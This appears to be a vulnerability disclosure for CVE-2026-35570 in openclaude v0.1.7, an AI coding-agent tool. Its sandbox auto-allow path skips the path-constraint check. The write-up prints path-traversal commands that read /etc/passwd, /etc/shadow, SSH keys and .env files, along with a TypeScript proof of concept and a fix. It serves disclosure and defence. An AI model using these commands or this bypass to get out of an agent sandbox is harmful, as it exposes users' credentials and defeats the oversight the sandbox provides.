## https://sploitus.com/exploit?id=AAC8C502-E455-5C6C-904F-FD057A49F833
# Breaking Out of the Sandbox: How I Found a Critical Path Traversal Bypass in openclaude
**CVE-2026-35570 | CVSS 8.4 (High) | openclaude v0.1.7**
---
Not every vulnerability requires a sophisticated exploit chain. Sometimes a single misplaced `return` statement is enough to blow a hole straight through your security model. That's exactly what CVE-2026-35570 is.
This write-up covers a sandbox bypass I found in `openclaude` v0.1.7 โ a logic flaw that lets path traversal payloads sail right past the filesystem isolation layer without ever being checked.
---
## How I Found It
I was going through `bashPermissions.ts` when something in the control flow caught my eye. The permission logic looked reasonable at a glance โ if we're in a sandbox, auto-allow the command; otherwise, prompt the user. Clean enough.
But one question kept nagging at me: **where does the path constraint check actually happen?**
I traced `bashToolHasPermission()` from top to bottom and mapped out the execution path:
```
bashToolHasPermission()
โ
โโ [~1445] Sandbox auto-allow block
โ โโ No deny rule found โ return ALLOW โ ๏ธ Early exit
โ
โโ [~1644] checkPathConstraints() โ Never reached
```
The sandbox block was built to skip interactive permission prompts in sandboxed environments. Totally reasonable. The problem is that when it returns `ALLOW`, the function exits right there. `checkPathConstraints()` โ the thing actually responsible for catching path traversal โ never runs.
---
## What's Actually Happening
Inside `bashToolHasPermission()`, the sandbox auto-allow block follows this logic:
1. Is sandboxing enabled? โ Yes
2. Is auto-allow enabled? โ Yes
3. Is there an explicit deny rule for this session? โ No
4. **โ Return ALLOW and exit the function**
At that point, `checkPathConstraints()` is completely bypassed. The path traversal filter doesn't get a chance to do anything.
From an attacker's perspective, that means commands like these go straight through:
```bash
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
```
All of them come back `behavior: allow`. No prompt. No block. Nothing.
---
## Impact
Three things become possible when this flaw is present:
**Arbitrary file reads.** Anything outside the sandbox boundary is fair game โ `/etc/passwd`, `/etc/shadow`, SSH private keys, `.env` files. As long as the OS-level permissions allow it, the file can be read.
**Arbitrary file writes.** The same logic applies in reverse. An attacker can write to paths outside the sandbox, which opens the door to overwriting config files or dropping content in unexpected locations.
**Complete sandbox isolation failure.** The whole point of the sandbox is to enforce filesystem boundaries. With this bug present, that guarantee means nothing.
CVSS v3.1: **8.4 (High)** โ AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
---
## The Fix
The fix is conceptually straightforward. The sandbox auto-allow block should suppress interactive prompts โ that's it. It should never short-circuit the full permission pipeline.
```typescript
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// Only return early for deny or ask โ never skip path checks on allow
return sandboxResult;
}
// If allow, fall through to checkPathConstraints below
}
// Path traversal check must always run
return checkPathConstraints(input, appState.toolPermissionContext);
```
The rule of thumb here: **sandbox auto-allow skips the prompt, not the security checks.**
---
## Affected Versions
| Field | Detail |
|-------|--------|
| Package | openclaude |
| Affected version | v0.1.7 |
| Patched version | None |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (High) |
---
## Proof of Concept
### Requirements
- Node.js >= 18
- `openclaude` v0.1.7
### Step 1 โ Clone and install
```bash
git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
```
### Step 2 โ Enable sandbox mode
Launch openclaude with sandbox and auto-allow flags set:
```bash
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
```
> Variable names may differ slightly. Check the `SandboxManager` class to confirm the exact environment variable mappings for your build.
### Step 3 โ Run the test script
Save the following as `poc.ts` in the project root:
```typescript
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// Set up sandbox conditions
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// Payload with path traversal
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Result:', result.behavior);
// Expected: "deny" โ path traversal should be blocked
// Actual: "allow" โ vulnerability confirmed
```
Then run it:
```bash
npx ts-node poc.ts
```
### Step 4 โ Observe the output
You'll see:
```
Result: allow
```
`checkPathConstraints()` was never called. To confirm this yourself, drop a log line into `bashPermissions.ts`:
```typescript
// Around line 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints was called'); // This will never print
// ...
}
```
Run the script again. The log won't appear โ the function is genuinely being skipped.
### Step 5 โ Reproduce in the actual interface
Open openclaude in a sandbox session and submit the following command:
```bash
cat ../../../../../etc/passwd
```
It executes without any permission prompt or block, and dumps the contents of `/etc/passwd` directly.
---
*CVE-2026-35570*